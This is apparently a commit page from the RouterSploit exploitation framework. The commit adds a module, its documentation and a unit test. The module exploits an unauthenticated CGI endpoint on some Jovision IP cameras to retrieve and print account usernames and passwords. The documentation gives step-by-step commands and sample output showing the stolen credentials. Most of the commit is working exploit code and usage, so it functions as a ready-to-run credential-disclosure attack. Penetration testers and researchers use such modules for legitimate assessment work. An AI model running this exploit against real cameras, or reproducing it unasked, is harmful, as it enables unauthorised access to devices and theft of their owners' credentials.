Commit 188afd78 by David Paskevic Committed by Marcin Bury

Add credential disclosure exploit for some jovision cameras (#582)

* Add jovision credential disclosure exploit

* Fix username and password fields being mixed up

* Document jovision credentials disclosure
parent c7ad64f1
## Description
Module exploits a CGI script that doesn't validate whether the client is logged in on some jovision cameras to return credentials.
## Verification Steps
1. Start ./rsf.py
2. use exploits/cameras/jovision/jovision_credentials_disclosure
3. set target 192.168.1.1
4. run
5. If device is vulnerable user credentials are returned.
## Scenarios
```
rsf > use exploits/cameras/jovision/jovision_credentials_disclosure
rsf (Jovision camera credential disclosure) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Jovision camera credential disclosure) > run
[*] Running module...
[+] Target seems to be vulnerable
[+] Accounts found:
Description Username Password Administrator
----------- -------- -------- -------------
Admin account admin ADMIN Yes
Guest account guest 1234 No
```
import re
from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient
import json
class Exploit(HTTPClient):
__info__ = {
"name": "Jovision camera credential disclosure",
"description": "Exploit implementation for jovision IP camera Credential Disclosure vulnerability. "
"If target is vulnerable details of user accounts on the device including usernames and passwords are returned.",
"authors": (
"aborche", # vulnerability discovery
"casept", # routersploit module
),
"references": (
"https://habr.com/ru/post/318572/", # Original post in Russian
"https://weekly-geekly.github.io/articles/318572/index.html" # English translation
),
"devices": (
"JVS-N63-DY"
),
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
def run(self):
if self.check():
print_success("Target seems to be vulnerable")
response = self.http_request(
method="GET",
path="/cgi-bin/jvsweb.cgi?cmd=account&action=list"
)
if response is None:
print_error("Exploit failed - connection error")
return
# The camera returns a JSON document with accounts, parse it
j_resp = json.loads(response.text)
# Some cameras have multiple accounts configured, list all of them
accounts = list()
for acc in j_resp:
account = list()
account.append(acc.get("acDescript")) # Account description
account.append(acc.get("acID")) # Account username
account.append(acc.get("acPW")) # Acccount password
# There seems to be some kind of permission level system for users
# 20 seems to always be admin, normal users have <20
if acc.get("nPower") >= 20:
account.append("Yes")
else:
account.append("No")
accounts.append(account)
print_success("Accounts found:")
print_table(("Description", "Username", "Password",
"Administrator"), *accounts)
else:
print_error("Exploit failed - target seems to be not vulnerable")
@mute
def check(self):
response = self.http_request(
method="GET",
path="/cgi-bin/jvsweb.cgi?cmd=account&action=list"
)
if response is not None and response.status_code == 200:
res = re.findall(".*acID.*", response.text)
if len(res) > 0:
return True
return False
from flask import Response
from routersploit.modules.exploits.cameras.jovision.jovision_credentials_disclosure import Exploit
def apply_response(*args, **kwargs):
response = (
"""
[{
"nIndex": 0,
"acID": "admin",
"acPW": "admin1234",
"acDescript": "admin account",
"nPower": 20
}]
"""
)
resp = Response(response, status=200)
resp.headers['Content-Type'] = 'application/json'
return resp
def test_check_success(target):
""" Test scenario - successful check """
route_mock = target.get_route_mock(
"/cgi-bin/jvsweb.cgi", methods=["GET"])
route_mock.side_effect = apply_response
exploit = Exploit()
assert exploit.target == ""
assert exploit.port == 80
exploit.target = target.host
exploit.port = target.port
assert exploit.check() is True
assert exploit.run() is None
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment